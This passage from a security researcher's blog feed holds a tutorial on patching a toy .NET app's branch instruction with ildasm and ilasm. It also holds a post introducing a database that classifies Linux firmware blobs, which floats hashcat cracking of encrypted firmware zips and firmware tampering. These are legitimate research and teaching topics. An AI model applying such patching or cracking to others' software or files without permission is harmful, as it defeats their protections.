        <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="kt">bool</span> <span class="n">check</span> <span class="p">=</span> <span class="k">false</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">check</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">System</span><span class="p">.</span><span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"You Win!"</span><span class="p">);</span>
            <span class="p">}</span>
            <span class="k">else</span>
            <span class="p">{</span>
                <span class="n">System</span><span class="p">.</span><span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"You Lose!!"</span><span class="p">);</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/images/04182024/visual-studio-source.png" alt="" /></p>

<p>When we run the application by pressing <code class="language-plaintext highlighter-rouge">CTRL+F5</code> (to avoid the console window closing immediately), we should be greeted with <code class="language-plaintext highlighter-rouge">You Lose!!</code>:</p>

<p><img src="/images/04182024/visual-studio-application.png" alt="" /></p>

<p>Now that we have compiled and run the application, we need to begin the reverse engineering process</p>

<h1 id="intermediary-language">Intermediary Language</h1>

<p>The way the .NET CLR works is C# (or VB) applications are compiled down to MSIL (Microsoft Intermediary Langague), which is a binary file format.  The binary application file is executed by the .NET CLR, which converts the binary application into native CPU instructions for execution by the CPU.  We can interrupt this process by converting a binary application into MSIL, which is like x86/ARM assembly code but for .NET CLR.  To do this we need to open up a Visual Studio Command Prompt.  You will need Visual Studio Community (or higher) installed on your Windows host: <a href="https://visualstudio.microsoft.com/vs/community/">https://visualstudio.microsoft.com/vs/community/</a>.</p>

<p>So let’s do that! Open a Visual Studio Command Prompt by navigating in Visual Studio to <code class="language-plaintext highlighter-rouge">Tools-&gt;Command Line-&gt;Developer Command Prompt</code></p>

<p><img src="/images/04182024/visual-studio-cli.png" alt="" /></p>

<p>You should see a <code class="language-plaintext highlighter-rouge">cmd.exe</code>-like shell that has special Visual Studio Applications installed on the PATH.</p>

<p><img src="/images/04182024/visual-studio-prompt.png" alt="" /></p>

<p>Now we need to <code class="language-plaintext highlighter-rouge">cd ReverseEngineeringTestApp1\bin\Debug</code> and then run <code class="language-plaintext highlighter-rouge">dir</code> in that directory.</p>

<p><img src="/images/04182024/visual-studio-prompt-commands.png" alt="" /></p>

<p>In text, here is the input/output from the above image.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\stark\source\repos\ReverseEngineeringTestApp1&gt;dir

Directory of C:\Users\stark\source\repos\ReverseEngineeringTestApp1                                                          04/18/2024  07:53 AM
&lt;DIR&gt;          .    04/14/2024  07:32 AM    
&lt;DIR&gt;          ..   04/18/2024  07:40 AM    
&lt;DIR&gt;          ReverseEngineeringTestApp1   04/14/2024  07:32 AM
               1,184 ReverseEngineeringTestApp1.sln
               1 File(s) 1,184 bytes
               3 Dir(s)  98,341,535,744 bytes free

C:\Users\stark\source\repos\ReverseEngineeringTestApp1&gt;cd ReverseEngineeringTestApp1\bin\Debug

C:\Users\stark\source\repos\ReverseEngineeringTestApp1\ReverseEngineeringTestApp1\bin\Debug&gt; Directory of C:\Users\stark\source\repos\ReverseEngineeringTestApp1\ReverseEngineeringTestApp1\bin\Debug

04/18/2024  07:43 AM    &lt;DIR&gt;          .    04/14/2024  07:32 AM
                        &lt;DIR&gt;          ..   04/18/2024  07:43 AM
                        5,120 ReverseEngineeringTestApp1.exe 04/14/2024  07:32 AM
                        187 ReverseEngineeringTestApp1.exe.config   04/14/2024  07:45 AM
                        6,184 ReverseEngineeringTestApp1.il 04/18/2024  07:43 AM
                        22,016 ReverseEngineeringTestApp1.pdb 04/14/2024  07:41 AM
                        1,528 ReverseEngineeringTestApp1.res 04/14/2024  07:46 AM
</code></pre></div></div>

<h2 id="disassembly">Disassembly</h2>

<p>Now we want to convert our .NET Executable (<code class="language-plaintext highlighter-rouge">ReverseEngineeringTestApp1.exe</code>) into MSIL.</p>

<p>We can do that by using <code class="language-plaintext highlighter-rouge">ildasm</code>.  More information on <code class="language-plaintext highlighter-rouge">ildasm</code> can be found here: <a href="https://learn.microsoft.com/en-us/dotnet/framework/tools/ildasm-exe-il-disassembler">https://learn.microsoft.com/en-us/dotnet/framework/tools/ildasm-exe-il-disassembler</a></p>

<p>So from our Visual Studio Developer Command Prompt, we run:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ildasm /out=ReverseEngineeringTestApp1.il ReverseEngineeringTestApp1.exe
</code></pre></div></div>

<p>This will write the human-readable MSIL to the file <code class="language-plaintext highlighter-rouge">ReverseEngineeringTestApp1.il</code></p>

<p>Now when we look at this text files, this is the contents:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
//  Microsoft (R) .NET Framework IL Disassembler.  Version 4.8.3928.0
//  Copyright (c) Microsoft Corporation.  All rights reserved.



// Metadata version: v4.0.30319
.assembly extern mscorlib
{
  .publickeytoken = (B7 7A 5C 56 19 34 E0 89 )                         // .z\V.4..
  .ver 4:0:0:0
}
.assembly ReverseEngineeringTestApp1
{
  .custom instance void [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::.ctor(int32) = ( 01 00 08 00 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor() = ( 01 00 01 00 54 02 16 57 72 61 70 4E 6F 6E 45 78   // ....T..WrapNonEx
                                                                                                             63 65 70 74 69 6F 6E 54 68 72 6F 77 73 01 )       // ceptionThrows.

  // --- The following custom attribute is added automatically, do not uncomment -------
  //  .custom instance void [mscorlib]System.Diagnostics.DebuggableAttribute::.ctor(valuetype [mscorlib]System.Diagnostics.DebuggableAttribute/DebuggingModes) = ( 01 00 07 01 00 00 00 00 ) 

  .custom instance void [mscorlib]System.Reflection.AssemblyTitleAttribute::.ctor(string) = ( 01 00 1A 52 65 76 65 72 73 65 45 6E 67 69 6E 65   // ...ReverseEngine
                                                                                              65 72 69 6E 67 54 65 73 74 41 70 70 31 00 00 )    // eringTestApp1..
  .custom instance void [mscorlib]System.Reflection.AssemblyDescriptionAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyConfigurationAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyCompanyAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Reflection.AssemblyProductAttribute::.ctor(string) = ( 01 00 1A 52 65 76 65 72 73 65 45 6E 67 69 6E 65   // ...ReverseEngine
                                                                                                65 72 69 6E 67 54 65 73 74 41 70 70 31 00 00 )    // eringTestApp1..
  .custom instance void [mscorlib]System.Reflection.AssemblyCopyrightAttribute::.ctor(string) = ( 01 00 12 43 6F 70 79 72 69 67 68 74 20 C2 A9 20   // ...Copyright .. 
                                                                                                  20 32 30 32 34 00 00 )                            //  2024..
  .custom instance void [mscorlib]System.Reflection.AssemblyTrademarkAttribute::.ctor(string) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Runtime.InteropServices.ComVisibleAttribute::.ctor(bool) = ( 01 00 00 00 00 ) 
  .custom instance void [mscorlib]System.Runtime.InteropServices.GuidAttribute::.ctor(string) = ( 01 00 24 63 30 30 30 37 65 30 62 2D 65 31 34 65   // ..$c0007e0b-e14e
                                                                                                  2D 34 66 33 65 2D 62 38 36 36 2D 35 61 35 63 33   // -4f3e-b866-5a5c3
                                                                                                  63 63 64 38 63 66 30 00 00 )                      // ccd8cf0..
  .custom instance void [mscorlib]System.Reflection.AssemblyFileVersionAttribute::.ctor(string) = ( 01 00 07 31 2E 30 2E 30 2E 30 00 00 )             // ...1.0.0.0..
  .custom instance void [mscorlib]System.Runtime.Versioning.TargetFrameworkAttribute::.ctor(string) = ( 01 00 1A 2E 4E 45 54 46 72 61 6D 65 77 6F 72 6B   // ....NETFramework
                                                                                                        2C 56 65 72 73 69 6F 6E 3D 76 34 2E 38 01 00 54   // ,Version=v4.8..T
                                                                                                        0E 14 46 72 61 6D 65 77 6F 72 6B 44 69 73 70 6C   // ..FrameworkDispl
                                                                                                        61 79 4E 61 6D 65 12 2E 4E 45 54 20 46 72 61 6D   // ayName..NET Fram
                                                                                                        65 77 6F 72 6B 20 34 2E 38 )                      // ework 4.8
  .hash algorithm 0x00008004
  .ver 1:0:0:0
}
.module ReverseEngineeringTestApp1.exe
// MVID: {F0887454-1D3B-4B4E-86E0-6DCFCFB45188}
.imagebase 0x00400000
.file alignment 0x00000200
.stackreserve 0x00100000
.subsystem 0x0003       // WINDOWS_CUI
.corflags 0x00020003    //  ILONLY 32BITPREFERRED
// Image base: 0x00E00000


// =============== CLASS MEMBERS DECLARATION ===================

.class private auto ansi beforefieldinit ReverseEngineeringTestApp1.Program
       extends [mscorlib]System.Object
{
  .method private hidebysig static void  Main(string[] args) cil managed
  {
    .entrypoint
    // Code size       37 (0x25)
    .maxstack  1
    .locals init ([0] bool check,
             [1] bool V_1)
    IL_0000:  nop
    IL_0001:  ldc.i4.0
    IL_0002:  stloc.0
    IL_0003:  ldloc.0
    IL_0004:  stloc.1
    IL_0005:  ldloc.1
    IL_0006:  brfalse.s  IL_0017

    IL_0008:  nop
    IL_0009:  ldstr      "You Win!"
    IL_000e:  call       void [mscorlib]System.Console::WriteLine(string)
    IL_0013:  nop
    IL_0014:  nop
    IL_0015:  br.s       IL_0024

    IL_0017:  nop
    IL_0018:  ldstr      "You Lose!!"
    IL_001d:  call       void [mscorlib]System.Console::WriteLine(string)
    IL_0022:  nop
    IL_0023:  nop
    IL_0024:  ret
  } // end of method Program::Main

  .method public hidebysig specialname rtspecialname 
          instance void  .ctor() cil managed
  {
    // Code size       8 (0x8)
    .maxstack  8
    IL_0000:  ldarg.0
    IL_0001:  call       instance void [mscorlib]System.Object::.ctor()
    IL_0006:  nop
    IL_0007:  ret
  } // end of method Program::.ctor

} // end of class ReverseEngineeringTestApp1.Program


// =============================================================

// *********** DISASSEMBLY COMPLETE ***********************
// WARNING: Created Win32 resource file ReverseEngineeringTestApp1.res
</code></pre></div></div>

<p>There is a lot going on here!  Really what we care about is where the lines start with <code class="language-plaintext highlighter-rouge">IL_</code>.  Let’s look at <code class="language-plaintext highlighter-rouge">IL_0006</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IL_0006:  brfalse.s  IL_0017
</code></pre></div></div>

<p>This MSIL assembly essentially means “branch if false to IL_0017”.  <code class="language-plaintext highlighter-rouge">IL_0017</code> is the instruction sequence for handling the <code class="language-plaintext highlighter-rouge">You Lose!!</code> text which is outputted to the console.  What we want to do to “win” is modify <code class="language-plaintext highlighter-rouge">IL_0006</code> to the following instruction:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IL_0006:  brfalse.s  IL_0008
</code></pre></div></div>

<p>So let’s make that change to <code class="language-plaintext highlighter-rouge">ReverseEngineeringTestApp1.il</code> and save the file.</p>

<h1 id="re-assembly">Re-assembly</h1>

<p>Now we need to re-assemble the <code class="language-plaintext highlighter-rouge">ReverseEngineeringTestApp1.il</code> file back into <code class="language-plaintext highlighter-rouge">ReverseEngineeringTestApp2.exe</code>.  We can do that with <code class="language-plaintext highlighter-rouge">ilasm.exe</code> from the Visual Studio Developer Command Prompt.  More information on <code class="language-plaintext highlighter-rouge">ilasm.exe</code> can be found here: <a href="https://learn.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler">https://learn.microsoft.com/en-us/dotnet/framework/tools/ilasm-exe-il-assembler</a></p>

<p>The command we need to run is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ilasm /out=ReverseEngineeringTestApp2.exe ReverseEngineeringTestApp1.il
</code></pre></div></div>

<p>Now, when we run <code class="language-plaintext highlighter-rouge">ReverseEngineeringTestApp2.exe</code>, we win!</p>

<p><img src="/images/04182024/visual-studio-win.png" alt="" /></p>

<p>Text output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\stark\source\repos\ReverseEngineeringTestApp1\ReverseEngineeringTestApp1\bin\Debug&gt;ilasm /out=ReverseEngineeringTestApp2.exe ReverseEngineeringTestApp1.il

Microsoft (R) .NET Framework IL Assembler.  Version 4.8.9105.0
Copyright (c) Microsoft Corporation.  All rights reserved.
Assembling 'ReverseEngineeringTestApp1.il'  to EXE --&gt; 'ReverseEngineeringTestApp2.exe'
Source file is ANSI

Assembled method ReverseEngineeringTestApp1.Program::Main
Assembled method ReverseEngineeringTestApp1.Program::.ctor
Creating PE file

Emitting classes:
Class 1:        ReverseEngineeringTestApp1.Program

Emitting fields and methods:
Global
Class 1 Methods: 2;

Emitting events and properties:
Global
Class 1
Writing PE file
Operation completed successfully

C:\Users\stark\source\repos\ReverseEngineeringTestApp1\ReverseEngineeringTestApp1\bin\Debug&gt;ReverseEngineeringTestApp2.exe
You Win!
</code></pre></div></div>

<h2 id="decompiler">Decompiler</h2>

<p>Now, let’s look at our original and modified <code class="language-plaintext highlighter-rouge">.exe</code> files using a decompiler such as <code class="language-plaintext highlighter-rouge">ILSpy</code></p>

<p>Original:</p>

<p><img src="/images/04182024/ilspy-original.png" alt="" /></p>

<p>Modified:</p>

<p><img src="/images/04182024/ilspy-modified.png" alt="" /></p>

<p>As you can see, we have modified the logic of the program according to <a href="https://github.com/icsharpcode/ILSpy">ILSpy</a></p>

<h1 id="conclusion">Conclusion</h1>

<p>In this Blog Post I showed the basic tooling and process necessary for reverse engineering and modify in binary form a .NET application.  It should be noted this same flow will work for <code class="language-plaintext highlighter-rouge">C#</code> and <code class="language-plaintext highlighter-rouge">VB.NET</code>as they both compile down to MSIL.</p>]]></content><author><name>Nicholas Starke</name></author><category term="reverse-engineering" /><category term="dotnet" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Introducing Linux Firmware DB</title><link href="https://starkeblog.com/lfwdb/2023/12/11/introducing-lfwdb.html" rel="alternate" type="text/html" title="Introducing Linux Firmware DB" /><published>2023-12-11T06:00:00+00:00</published><updated>2023-12-11T06:00:00+00:00</updated><id>https://starkeblog.com/lfwdb/2023/12/11/introducing-lfwdb</id><content type="html" xml:base="https://starkeblog.com/lfwdb/2023/12/11/introducing-lfwdb.html"><![CDATA[<h1 id="introduction">Introduction</h1>

<h2 id="why-build-a-firmware-database">Why Build a Firmware Database?</h2>

<p>Good question. I’m a big fan of the Linux operating system and the open source ecosystem that surrounds it, but there is a large proprietary dependency in that ecosystem: <a href="https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/">linux-firmware</a>.</p>

<p>Linux-firmware is a git repository full of proprietary binary files used for component firmware.  These blobs are loaded onto component internal RAM at operating system boot and serve to configure the runtime behavior of the component. There is little to no visibility in terms of what these blobs do. I’m not opposed to proprietary software; it has it’s place.  However, with the emphasis on open source in the Linux project, the proprietary nature of <code class="language-plaintext highlighter-rouge">linux-firmware</code> makes it stand out to me.</p>

<p>The Linux Firmware Database aims to shine light on this unknown territory.</p>

<h2 id="the-dataset">The Dataset</h2>

<p>The <a href="https://lfwdb.com/">Linux Firmware Database</a> (henceforth referred to as <code class="language-plaintext highlighter-rouge">lfwdb</code>) contains a dataset of the “guessed” Instruction Set Architecture of each firmware image, as “guessed” by <a href="https://github.com/airbus-seclab/cpu_rec">cpu_rec</a>.  Additionally, I included the <code class="language-plaintext highlighter-rouge">file</code> command output and the Shannon entropy for each file.  At this point, the dataset is not complete as only about a dozen of the ~50 git tags have been processed. However, I estimate at least 90% of the files in the repository have been analyzed at this point. Unfortunately processing each tag independently results in a lot of duplication of compute effort as most of the files do not change.  I decided to process the full file list for every tag because I wanted the end result dataset to be stateless so it could be easily shared and displayed.</p>

<h2 id="how-do-i-work-with-the-data">How do I work with the data?</h2>

<p>The raw data is contained entirely in a <a href="https://github.com/nstarke/linux-firmware-db/">git repository</a> if you wish to work with the raw data.  The most useful data is the JSON files produced for each git tag.</p>

<p>If you’re looking for a way to explore the data more interactively, I built a small VueJS application for interacting with the data via the web.  This application and all of the data are deployed on the web at <a href="https://lfwdb.com/">https://lfwdb.com/</a>.  There is no server side component to this project; all data is static content distributed via web or git.</p>

<h2 id="how-was-the-dataset-built">How was the dataset built?</h2>

<p>I wrote a lot of bash and python scripts for processing the <code class="language-plaintext highlighter-rouge">cpu_rec</code> results and combining it with other utility functions such as a SHA256 checksum, <code class="language-plaintext highlighter-rouge">file</code> command output, and Shannon entropy value.  All of these scripts are included in the <code class="language-plaintext highlighter-rouge">lfwdb</code> git repository.</p>

<p>The process starts with generating <code class="language-plaintext highlighter-rouge">cpu_rec</code> results for every file in <code class="language-plaintext highlighter-rouge">linux-firmware</code> for a given git tag.  This process takes about 2 hour for early tags and about 4 hours on the newest tags, using a 16-core Intel i5 NUC running Ubuntu 23.10.  The reason for the vast difference is that the initial fileset contained about 1900 files whereas the most recent tag’s fileset contains nearly 3200 files.</p>

<p>After the <code class="language-plaintext highlighter-rouge">cpu_rec</code> results have been generated in <code class="language-plaintext highlighter-rouge">txt</code> format, the txt file is read line for line and shaped into a <code class="language-plaintext highlighter-rouge">csv</code> file.  This is where the extra utility functions are executed and their results appended to the dataset.</p>

<p>Once we have a <code class="language-plaintext highlighter-rouge">csv</code> file, we can map that into JSON fairly easily using python.  Using this final JSON output, the diassembly scripts run and dump their contents out to be included as part of the dataset.  Disassembly files are mapped to repository files by SHA256 hash of the file at a given git tag.  The SHA256 digest is included in the JSON for each file result and also in the filename of the disassembly file.</p>

<h2 id="disassembly">Disassembly</h2>

<p>We can use disassembly as a barometer to judge how accurate the <code class="language-plaintext highlighter-rouge">cpu_rec</code> output ISA actually is.</p>

<p>I attempted to provide disassembly with <a href="https://rada.re/n/">radare2</a> for the most common ISAs.  Generating disassembly allows us to more precisely determine if the cpu_rec-derived ISA guess is correct, as incorrect disassembly ISA will lead to meaningless disassembly output.  In the case of correct disassembly ISA, the disassembly output will be more meaningful and provide researchers insight into the inner workings of these proprietary blobs. In most cases, however, I believe the disassembly output will help guide researchers towards which blobs to focus on with more powerful dissassembly and decompiler tools that are not web-based.  TXT-based disassembly is great, but nothing beats <code class="language-plaintext highlighter-rouge">{IDA, BinaryNinja, Ghidra, Radare2, etc}</code> when it comes to interactively navigating a flat binary file with no symbols, sections, or other structured metadata.</p>

<p>It is worth noting that the disassembly output may not be accurate, as it seems <code class="language-plaintext highlighter-rouge">radare2</code> defaults to Intel x64 if it doesn’t think the specifed ISA matches the binary files’ actual ISA.</p>

<h1 id="preliminary-results">Preliminary Results</h1>

<h2 id="contents-of-the-linux-firmware-git-repository">Contents of the “linux-firmware” git repository</h2>

<p>One of the things I learned early on in this project is that the linux-firmware directory contains a lot of files that are not firmware.  Indeed going further back in time, there’s even source code in this repository for some of the firmware.  This shouldn’t come as a total shock, as there are instances of vendors making their proprietary firmware blobs open source (see <a href="https://github.com/qca/open-ath9k-htc-firmware">https://github.com/qca/open-ath9k-htc-firmware</a> for two such examples).  There are all kinds of ASCII/UTF-8 text files in the linux-firmware repository and these files are not component firmware.</p>

<p>Some of the binary files are not firmware, but things like NVRAM data banks and other configuration data.  These types of files are binary data, but they do not contain CPU instructions, yet they are still downloaded to the device at boot.  My guess is these blobs allow vendors to configure the component but not actually tell the component CPU what instructions to execute.  In these cases, changing the configuration data might yield in “unlocking” features or debug settings that the vendor does not wish to be enabled by default.</p>

<p>The file command output is useful for further narrowing valid firmware blob results.  Most firmware is listed as the file command output <code class="language-plaintext highlighter-rouge">data</code>, but there are a few interesting deviations from that.  One such interesting deviation is a set of encrypted zip files in later tags (more on this later).</p>

<h2 id="shannon-entropy">Shannon Entropy</h2>

<p>The dataset includes the Shannon Entropy value for each file in the <code class="language-plaintext highlighter-rouge">linux-firmware</code> repository. Generally speaking, anything above a Shannon Entropy value of 7.5 is considered random. Through trial and error I have made a conservative estimate that anything above 7.0 is random enough to not be structured binary instructions.  This helps us further narrow down the valid firmware result set as one benefit, but it teaches us a few other interesting things about the repository files.</p>

<p>First of all, almost all of the &gt; 7.0 files are marked as <code class="language-plaintext highlighter-rouge">Xtensa</code> by <code class="language-plaintext highlighter-rouge">cpu_rec</code>. This leads me to the conclusion that most <code class="language-plaintext highlighter-rouge">Xtensa</code> results from <code class="language-plaintext highlighter-rouge">cpu_rec</code> are mostly if not entirely false positives, as these high Shannon entropy value files seem too random to be valid programs.  To help drive that theory, I looked at the disassembly for these files and found that all of the <code class="language-plaintext highlighter-rouge">Xtensa</code>-flagged results have meaningless or highly incomplete disassembly.  Note that the <code class="language-plaintext highlighter-rouge">cpu_rec</code> seems to determine <code class="language-plaintext highlighter-rouge">XtensaEB</code> results quite accurately, as the open-source component firmware <a href="https://github.com/qca/open-ath9k-htc-firmware">repository</a> I mentioned above uses the Big Endian Xtensa GNU toolchain during compilation (resulting in an <code class="language-plaintext highlighter-rouge">XtensaEB</code> blob output).</p>

<p>But if these high-entropy files are not programs, then what are they?  High-entropy values suggest these files are either compressed or encrypted. I initially suspected that most of these files would be compressed data.  I wrote a script that attempts to bruteforce decompressing these files (included in the project git repository), and have not yet discovered any that decompress to valid CPU instructions.  That part of the dataset is not complete, but I’ve processed enough files to know a large amount of them are not compressed data.</p>

<p>So it they are not compressed data, are they encrypted data?  I suspect the answer is yes, with my only doubt driven by how difficult key management must be at the component firmware level.  If these high entropy files are mostly encrypted data,at the very least, grouping the high entropy files tells us which vendors are encrypting their firmware. <code class="language-plaintext highlighter-rouge">Mellanox</code> seems to be one such vendor.</p>

<p>If the files are indeed encrypted, to me that means the key is hard coded-into the component ROM and should be dumpable from a physical device.  This is one such focus area I’d like to explore in the future: given an encrypted component firmware image and a physical device for that image, can we find the encryption key on ROM and successfully decrypt the component firmware file?</p>

<h2 id="code-signing">Code Signing?</h2>

<p>A quick grep for the case-sensitive string <code class="language-plaintext highlighter-rouge">BEGIN</code> reveals a few <code class="language-plaintext highlighter-rouge">AMD</code> blobs with pgp signatures, but very little else that looks obviously like it is code-signed. A few <code class="language-plaintext highlighter-rouge">git log</code> messages indicate <code class="language-plaintext highlighter-rouge">Nvidia</code> may be signing some of their firmware as well.  This makes most of these blobs ripe for tampering.</p>

<h1 id="immediate-topics-of-further-inquiry">Immediate Topics of Further Inquiry</h1>

<p>The <code class="language-plaintext highlighter-rouge">git log</code> from the <code class="language-plaintext highlighter-rouge">linux-firmware</code> repository lists several dozen forks that various vendors have created in order to merge new component firmware files into the upstream repository. It will be interesting to analyze these forks for additional branches and files that didn’t make it into upstream.</p>

<p>Is it possible to use commodity password cracking tools such as <a href="https://hashcat.net/hashcat/">hashcat</a> to crack the encrypted zip files we found and gain access to encrypted component firmware without knowing the password beforehand? I’ve looked into this briefly. Assuming the password is an 8-byte binary-maskable value (<code class="language-plaintext highlighter-rouge">?b?b?b?b?b?b?b?b</code>), hashcat cannot run because the keyspace is too large - at least on the compute resources available to me.  Successfully attacking these files will involve balancing the mask carefully and adjusting the mask over multiple workloads in order to find a valid key.</p>

<p>Before we begin talking about reverse engineering the component firmware blobs, we should look at the string values contained in those blobs (using GNU bin-utils’ <code class="language-plaintext highlighter-rouge">strings</code>) just to see if there is anything unexpected there.  I would be looking for something like “backdoor reverse shell connection successfully established” or <a href="https://www.bleepingcomputer.com/news/technology/kingstons-ssd-firmware-has-coldplay-lyrics-hidden-within-it/">Coldplay lyrics</a>.</p>

<p>I’d like to reverse engineer the ARM and MIPS component firmware files and look for interesting patterns. I’m sure digging into these programs, their functions, and their data, will produce interesting topics of their own to then go and run down.</p>

<p>Lastly, as mentioned before, I would like to look at tampering with the component firmware blobs, as well as the configuration data blobs, to see if we can’t make them do unexpected things that might be advantageous.</p>

<h1 id="conclusions">Conclusions</h1>

<p>There are a lot of things this dataset can teach us; both about the data itself and about our tooling.  You can look forward to future blog posts regarding analysis of this dataset from me. If you have any questions or topics you’d like to see me write about here, as always, please reach out!</p>

<p>Also, if you’re interested in contributing to the project, the VueJS application I wrote desperately needs some CSS love.  Pull requests of that nature would be most graciously accepted!</p>]]></content><author><name>Nicholas Starke</name></author><category term="lfwdb" /><summary type="html"><![CDATA[Introduction]]></summary></entry></feed>